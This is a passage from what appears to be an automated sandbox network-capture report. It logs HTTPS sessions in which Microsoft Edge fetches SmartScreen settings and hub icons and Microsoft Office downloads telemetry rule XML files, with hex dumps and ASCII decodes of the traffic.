Data Ascii: 8"/><rdf:li xmpG:swatchName="C=75 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="102" xmpG:green="45" xmpG:blue="145"/><rdf:li xmpG:swatchName="C=50 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="146" xmpG
2024-10-29 05:59:31 UTC	2020	IN	Data Raw: 9c b2 16 6f 83 6b fa fe fd a0 7e 03 f8 67 f6 9c f8 37 e2 0f 01 f8 c2 c1 75 2f 0f 78 96 d1 ad 2e a2 3c 32 e7 95 91 0f f0 c8 8c 15 d1 ba ab 28 3d ab f9 5f fd b9 7f 64 0f 10 fe c2 bf b4 cf 89 3e 1c f8 8b 74 d2 69 33 79 96 17 c1 36 47 aa 59 3e 4c 17 28 3d 19 7a 80 4e d7 57 5c 92 a6 be 8b 2f c5 fb 48 f2 4f 75 f8 9e 66 22 8f 23 ba d9 9e 43 5d 57 c1 4f 8c 9e 20 fd 9f 3e 2d f8 77 c6 fe 15 be 6d 3f c4 1e 18 be 8f 50 b1 9c 74 0e 87 3b 58 7f 12 30 ca b2 9e 19 59 81 e0 9a e5 68 af 4b 46 ac ce 6f 33 fa dc fd 8b 3f 6a 7d 0f f6 d4 fd 99 bc 27 f1 23 40 65 8e d7 c4 56 81 ee 2d 77 ee 6d 3e e9 3e 49 ed db de 39 15 97 38 1b 80 0c 38 61 5e b1 9a fc 29 ff 00 83 5d bf 6d 76 f0 0f c6 bf 10 7c 11 d5 ef 36 e9 3e 36 8d f5 8d 09 5d b8 8b 51 82 3f df 46 a3 fe 9a db a6 e3 ef 6a a0 7d Data Ascii: ok~g7u/x.<2(=_d>ti3y6GY>L(=zNW\/HOuf"#C]WO >-wm?Pt;X0YhKFo3?j}'#@eV-wm>>I988a^)]mv\|6>6]Q?Fj}
2024-10-29 05:59:31 UTC	8144	IN	Data Raw: c3 48 d7 a5 cd be af 1b 7d 06 95 76 df cd 45 7c 4b 5f 73 7f c1 b9 da 33 6a 9f f0 55 ff 00 02 ce ab b8 69 ba 7e ad 70 4e 3e e8 3a 7c f1 7f ed 41 f9 d7 66 2b f8 12 f4 66 54 7e 35 ea 7f 49 d4 51 45 7c 89 ec 05 14 51 40 05 14 51 40 05 14 51 40 08 7e f0 aa da cf fc 82 ee 7f eb 8b ff 00 23 56 4f de 15 5b 59 ff 00 90 5d cf fd 71 7f e4 6a 65 b1 a5 1f 8d 7a 9f 8f 34 51 45 7e 07 3f 89 9f de 94 7e 05 e8 82 8a 28 a9 34 0a 28 a2 80 3f 4a 3f e0 9f 43 fe 31 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 78 bf fc 13 eb fe 4d 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 7e e1 95 ff 00 b9 d2 ff 00 0c 7f 24 7f 10 71 47 fc 8e 31 5f f5 f2 7f fa 53 0a 28 a2 bd 03 c2 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 3f 2f ff 00 e0 ea 8f 01 36 bb fb 0f f8 27 c4 11 ab 33 68 1e 31 8a 19 30 3e e4 57 16 Data Ascii: H}vE\|K_s3jUi~pN>:\|Af+fT~5IQE\|Q@Q@Q@~#VO[Y]qjez4QE~?~(4(?J?C1/]\xM/]\~$qG1_S((((?/6'3h10>W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49849	104.40.82.182	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiM291bDRjVkZzT3drVGRiVFdkaVpsQT09IiwgImhhc2giOiJEVmZ4OCs1SXVRaz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-29 05:59:30 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-29 05:59:31 UTC	302	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:31 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-10-29 05:59:31 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-10-29 05:59:31 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49857	13.107.246.57	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:31 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3b7f99e2-a01e-0061-032b-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T055931Z-16849878b78qfbkc5yywmsbg0c00000005sg000000009wqc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:31 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49858	13.107.246.57	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:31 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 93030556-001e-000a-513d-29718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T055931Z-17c5cb586f6w4mfs5xcmnrny6n00000007wg000000002q8f Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:31 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49859	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:31 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 1eef1b3e-901e-002a-4bcc-267a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055931Z-r197bdfb6b48v72xb403uy6hns00000006t0000000002mgb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:31 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49860	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055931Z-16849878b782d4lwcu6h6gmxnw00000005w0000000002cum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49861	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:31 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055931Z-16849878b78qf2gleqhwczd21s00000006dg000000000gu7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
